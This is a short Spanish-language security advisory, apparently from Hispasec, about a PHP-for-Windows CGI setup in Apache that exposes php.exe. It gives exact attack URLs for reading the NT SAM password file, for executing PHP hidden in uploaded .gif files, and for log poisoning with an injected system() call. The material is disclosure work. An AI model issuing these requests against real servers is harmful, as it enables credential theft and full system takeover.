Mediante una petición HTTP es posible llamar al interprete PHP.EXE para visualizar archivos fuera del directorio público. También es posible ejecutar archivos con cualquier extensión como si de un archivo PHP se tratara.
En la documentación de PHP se recomienda que en la instalación en Windows se inserten las siguientes líneas en el archivo httpd.conf para que Apache trabaje con el ejecutable CGI de PHP:
ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php
Action application/x-httpd-php "/php/php.exe"
Gracias a la primera de las líneas podremos acceder a c:/php para llamar y ejecutar PHP.EXE con una petición tipo:
http://www.servidor.xxx/php/php.exe
Entre otras posibilidades, facilita la lectura de cualquier archivo fuera del ámbito público del servidor web. Por ejemplo, la siguiente petición permite descargar el archivo de claves de un servidor
Windows NT:
http://www.servidor.xxx/php/php.exe?c:\winnt\repair\sam
Si el servidor permite subir archivos, pongamos por ejemplo imágenes, un atacante podría hospedar archivos con código PHP y extensión .GIF.
Posteriormente bastaría con llamar al intérprete PHP.EXE para llevar a cabo su ejecución:
http://www.servidor.xxx/php/php.exe/directorio_subida/codigo.gif
En el caso de que el servidor no permita subir archivos existen otras formas de conseguir ejecutar código arbitrario y conseguir el control total del sistema afectado. Por ejemplo introduciendo el comando a ejecutar en una petición HTTP para que quede registrado en el archivo log de Apache:
http://www.servidor.xxx/<?%20system('comando a ejecutar');%20?>
Posteriormente bastaría con llamar al log con el interprete PHP para que ejecute el comando:
http://www.servidor.xxx/php/php.exe?c:\apache\logs\access.log
Opina sobre esta noticia:
http://www.hispasec.com/unaaldiacom.asp?id=1215
Más información:
PHP for Windows Arbitrary Files Execution (GIF, MP3)
http://www.securiteam.com/windowsntfocus/5YP0L0U60C.html